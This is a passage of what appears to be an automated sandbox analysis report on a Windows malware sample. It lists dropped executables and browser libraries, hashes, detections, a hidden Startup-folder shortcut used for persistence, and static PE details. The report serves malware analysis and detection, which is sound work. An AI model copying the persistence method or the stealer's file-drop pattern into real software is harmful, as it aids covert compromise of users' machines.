Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.721744791391737
Encrypted:	false
SSDEEP:	12288:iu2ezteYj0Zryx+k7CRjoN3zovbJfOYmwgBkqKS4S:iuteW+L3zJfpmJkqKD
MD5:	933CD328743445FD4AA29EEAEA35D726
SHA1:	6B7ABF067EF0B656286ED65832A78AFDD5705A34
SHA-256:	53B4E4B1016A463835A05163ACEEBBACEB25F0EDD24B7DFC8C02BE3596A65E87
SHA-512:	1D7D79D63A758347DA0840195D4D97AF93A16D725E29F8EB322DCE3591659FAEB27C1FF5CD5C9C674F5833E144D230C5B9A4315A594E4C587397E98257AC997B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L....2.g...............).....b......Ro.......0....@.......................................@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...p...........................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\22594e132764[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	585216
Entropy (8bit):	7.7483956997883565
Encrypted:	false
SSDEEP:	12288:9GOTHhiTLcKaz/IQg1elXSowSFVKPefZKWHYafr8jVR4S:9Xhi4NgklXSobKPef0s8Jy
MD5:	0294E7BE437F5DCE111BE4B66162A8CB
SHA1:	BFF2FDA18E888A59A53449EE73393AE6A58DC805
SHA-256:	3357A71EA9043848BC912B93C3F0714AAC02C84F77ED17B211937CFB3954AFE2
SHA-512:	7CEA4996BEB0EE0FB484C8E9F9F054C3609B94B7A24034686BF64187079C68D069D0028132D850ED921CAEC0946B60D5BF07AE173B9290910DE26122E91F9B49
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L....2.g...............)............Ro.......0....@..........................0......\|.....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data....'..........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	585216
Entropy (8bit):	7.7483956997883565
Encrypted:	false
SSDEEP:	12288:9GOTHhiTLcKaz/IQg1elXSowSFVKPefZKWHYafr8jVR4S:9Xhi4NgklXSobKPef0s8Jy
MD5:	0294E7BE437F5DCE111BE4B66162A8CB
SHA1:	BFF2FDA18E888A59A53449EE73393AE6A58DC805
SHA-256:	3357A71EA9043848BC912B93C3F0714AAC02C84F77ED17B211937CFB3954AFE2
SHA-512:	7CEA4996BEB0EE0FB484C8E9F9F054C3609B94B7A24034686BF64187079C68D069D0028132D850ED921CAEC0946B60D5BF07AE173B9290910DE26122E91F9B49
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L....2.g...............)............Ro.......0....@..........................0......\|.....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data....'..........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:Q:Q
MD5:	29F35DE80161EF7E57A5CE37B36AA8EC
SHA1:	1C1F29494EE0CE997FD8FF28B373B42C14B5B6A1
SHA-256:	3549FAB320A9A702F7CF5BDA788B071CDED3D807C9BC8F4DF55E7D3D7D4793D6
SHA-512:	86657ED00BDE44EC24933BA5AC5C3497ECB2E110D244AF1571C4AE676A22F72049A246548C301EDA0BDC919260C18C71D74B8304DD9164D234AC9EB1BD6BD704
Malicious:	false
Preview:	WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6546093.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, ctime=Mon Oct 7 18:18:02 2024, mtime=Mon Oct 7 18:18:03 2024, atime=Mon Oct 7 18:18:03 2024, length=585216, window=hide
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	4.93212921857398
Encrypted:	false
SSDEEP:	24:8PLfk8TlhFlP4RslgK9lnKMZ/4KPeAyA9r+j6xy83fqygm:8PLJTlflQRsPl1ymeAR9rs6xyjyg
MD5:	E9D4E7389F074DB52F189EF8CCF63B40
SHA1:	EC5509C76C3A080E96CA9426CF95BF4783842A98
SHA-256:	CF257B36F9A192DE47605E623B3B76D1A38C45F323FCDE79730E42BAABD45AFF
SHA-512:	E810FCAC31224225C8011525547E991E98AA1A6339090788DEDAF58B2392E6EBF446A22931BEB930A7D64AF3B5EB13CFACBE19164B9289F536E076C7CD5B3B7A
Malicious:	false
Preview:	L..................F.........q".....[.}.....[.}...............................:..DG..Yr?.D..U..k0.&...&...... M.....E.................t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlGY@.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....GY;...Local.<......DWSlGY@.....V.......................$.L.o.c.a.l.....N.1.....GY@...Temp..:......DWSlGY@.....\....................."...T.e.m.p.....N.1.....GYA...IDSM..:......GYA.GYA...............................I.D.S.M.....n.2.....GYB...22594E~1.EXE..R......GYB.GYB.............................g.2.2.5.9.4.e.1.3.2.7.6.4...e.x.e.......g...............-.......f.............T......C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe..2.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.I.D.S.M.\.2.2.5.9.4.e.1.3.2.7.6.4...e.x.e.........\|....I.J.H..K..:...`.......X.......888683...........hT..CrF.f4... .Lz2=.b...,...W..hT..CrF.f4... .Lz2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.42864919654822
Encrypted:	false
SSDEEP:	6144:nSvfpi6ceLP/9skLmb0OTXWSPHaJG8nAgeMZMMhA2fX4WABlEnNs0uhiTw:SvloTXW+EZMM6DFyW03w
MD5:	6561004CC7B8E7FA38F63153E3ABDDAB
SHA1:	6302F7A4651B50F1F034567D0C4F6AFF4B26BE46
SHA-256:	61ECFE8FBF5E84585A46D0485772F8F7EB2315ECDC885B663E1DF5F94EA7972C
SHA-512:	C6DD7486C6F546206C6F456E978FC9B683BD9A164C9CB808E3FFBEF5D3880D1F99B06A64827C7DBEE5BC90F78364C37AEB17D835CD127AA75892C36291CD9016
Malicious:	false
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.c..................................................................................................................................................................................................................................................................................................................................................wt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.937507239204528
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	WiTqtf1aiE.exe
File size:	233'472 bytes
MD5:	e16b25aaadf645e0de019d8e3ed50eb0
SHA1:	2c854e550421be679e80cdad7926ffa9cbc3ae74
SHA256:	0e0eef4dc62fa4388dbc40cd4d7738942abba54bd6808fb6ebb4926d4c0de390
SHA512:	8dfe4dbd741289d352e329af2128b57d8c4789fae2ea5187f3167a0c883b09261169ca81fc6eee1e83177e15b12a6227a30c7d990de34cfdab90ef043df56dfc
SSDEEP:	6144:Dz7jiKUHBILFZ894EZURyxAV7aIJcGhmpr9s4S:DzniKUHeJm9x2KGhZ4S
TLSH:	7E34AE16B5C0C072D57325324AF0DBB99A3DB9B00A629EDF67940FBE4F30291D721A67
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6704320D [Mon Oct 7 19:10:05 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007FAFD0C71340h
jmp 00007FAFD0C708AFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FAFD0C70A4Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FAFD0C70A3Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007FAFD0C70A3Eh
add edx, 28h
cmp edx, esi
jne 00007FAFD0C70A1Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007FAFD0C70A2Bh
push esi
call 00007FAFD0C71654h
test eax, eax
je 00007FAFD0C70A52h
mov eax, dword ptr fs:[00000018h]
mov esi, 00438D54h
mov edx, dword ptr [eax+04h]
jmp 00007FAFD0C70A36h
cmp edx, eax
je 00007FAFD0C70A42h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007FAFD0C70A22h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007FAFD0C70A39h
mov byte ptr [00438D58h], 00000001h
call 00007FAFD0C70CEAh
call 00007FAFD0C73C07h
test al, al
jne 00007FAFD0C70A36h
xor al, al
pop ebp
ret
call 00007FAFD0C7C669h
test al, al
jne 00007FAFD0C70A3Ch
push 00000000h
call 00007FAFD0C73C0Eh
pop ecx
jmp 00007FAFD0C70A1Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00438D59h], 00000000h
je 00007FAFD0C70A36h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3a000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3b000	0x1acc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	16551ad288e61fcf84f1877b8ef5172e	False	0.5865492334905661	data	6.665811177122126	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	f5ae73c5f4cf9b671b9b5512cb08daba	False	0.43510185917721517	data	4.957344591071194	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0xc980	0xbc00	103b0e687880b8ba8065fc26f0b128c0	False	0.9317445146276596	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.828697606658838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3a000	0x3d8	0x400	a495e3c61e280b3773fe1ebb37b4f276	False	0.4404296875	data	3.287044161603086	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3b000	0x1acc	0x1c00	f964afc45c05ec8d4c07f0aced301ba4	False	0.7272600446428571	data	6.394018561884432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x3a058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

